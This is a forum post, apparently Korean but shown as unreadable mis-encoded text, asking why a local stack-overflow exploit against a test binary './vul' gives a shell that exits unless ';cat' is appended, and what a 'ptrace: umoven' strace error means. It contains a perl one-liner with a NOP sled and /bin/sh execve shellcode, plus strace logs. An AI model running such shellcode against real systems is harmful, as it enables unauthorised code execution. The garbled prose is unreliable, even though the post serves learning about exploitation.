·¹µåÇÞ 6.2ȯ°æ¿¡¼ ³ª¿Â °á°úµéÀÔ´Ï´Ù
[cd80@leaveret cd80]$ perl -e 'print "\x90"x200, "\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80", "\x90"x37, "\x8c\xfc\xff\xbf"' | strace ./vul
ÀÌ·¸°Ô ½ÇÇà½ÃŰ¸é ½©ÀÌ ½ÇÇàµÈÈÄ read(0, "", 4096); ÀÌ ÀÚµ¿À¸·Î ½ÇÇàµÇ´øµ¥ ¿Ö ½ÇÇàµÇ´ÂÁö ÀÌÇØ°¡ ¾ÈµÇ³×¿ä
;catºÙÀÌ°í ½ÇÇàÇϸé read(0, ¿©±â¼ ÀÔ·ÂÀ» ±â´Ù¸®´Â »óŰ¡ µÇ±¸¿ä
µÑ´Ù ½ÇÇàÇßÀ»¶§
execve("/bin//sh", ["/bin//sh"]ptrace: umoven: Input/output error
°¡ ¶ß±ä ÇÕ´Ï´Ù
¿©±â¼ ¶Ç ptrace: umoven: Input/output error°¡ ¾ðÁ¦ ¹ß»ýÇÏ´ÂÁö¸¦ ¸ð¸£°Ú³×¿ä
;cat ¾øÀÌ ÇßÀ» ½Ã
==============================================================
mprotect(0x40018000, 970752, PROT_READ|PROT_WRITE) = 0
mprotect(0x40018000, 970752, PROT_READ|PROT_EXEC) = 0
munmap(0x40015000, 12210) = 0
personality(PER_LINUX) = 0
getpid() = 3579
fstat64(0, 0xbffffb20) = -1 ENOSYS (Function not implemented)
fstat(0, {st_mode=S_IFIFO|0600, st_size=264, ...}) = 0
old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0
x40015000
read(0, "\220\220\220\220\220\220\220\220\220\220\220\220\220\220"..., 4096) = 2
64
read(0, "", 4096) = 0
fstat(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 2), ...}) = 0
old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0
==============================================================
;cat ºÙÀ̰í ÇßÀ» ½Ã
==============================================================
mprotect(0x40018000, 970752, PROT_READ|PROT_WRITE) = 0
mprotect(0x40018000, 970752, PROT_READ|PROT_EXEC) = 0
munmap(0x40015000, 12210) = 0
personality(PER_LINUX) = 0
getpid() = 3585
fstat64(0, 0xbffffb20) = -1 ENOSYS (Function not implemented)
fstat(0, {st_mode=S_IFIFO|0600, st_size=264, ...}) = 0
old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0
x40015000
read(0, "\220\220\220\220\220\220\220\220\220\220\220\220\220\220"..., 4096) = 2
64
read(0,
==============================================================
À§¿¡ cat ¾ÈºÙ¿´À»¶© read(0, "", 4096); ¿¡¼ 0ÀÌ ¸®ÅϵǾî EOF·Î ÀνÄÇØ ½©ÀÌ Á¾·áµÇ´Â°Å °°¾Æ¿ä
Q1. Àú¹ø¿¡ stackoverflow.com¿¡¼ gets()°¡ stdinÀ» º¯¼ö¿¡ º¹»çÇϰí stdinÀ» û¼ÒÇØÁØ´Ù°í º»°Å°°Àºµ¥ ÀÌ°Ô ¸Â³ª¿ä? ¸Â´Ù¸é À̰Ͷ§¹®¿¡ read(1, "", 4096);ÀÌ µé¾î°¥¼öµµ ÀÖ³ª¿ä? ±×³É strace /bin/sh¿¡¼ ÄÁÆ®·Ñ D´©¸£¸é ºñ½ÁÇÏ°Ô read(0, "", 512); °¡ µé¾î°¡°í Á¾·áµÇ±ä Çϰŵç¿ä
Q2. Àú À§¿¡ ptrace: umoven: I/O error°¡ ¿Ö ¹ß»ýÇϴ°ǰ¡¿ä? |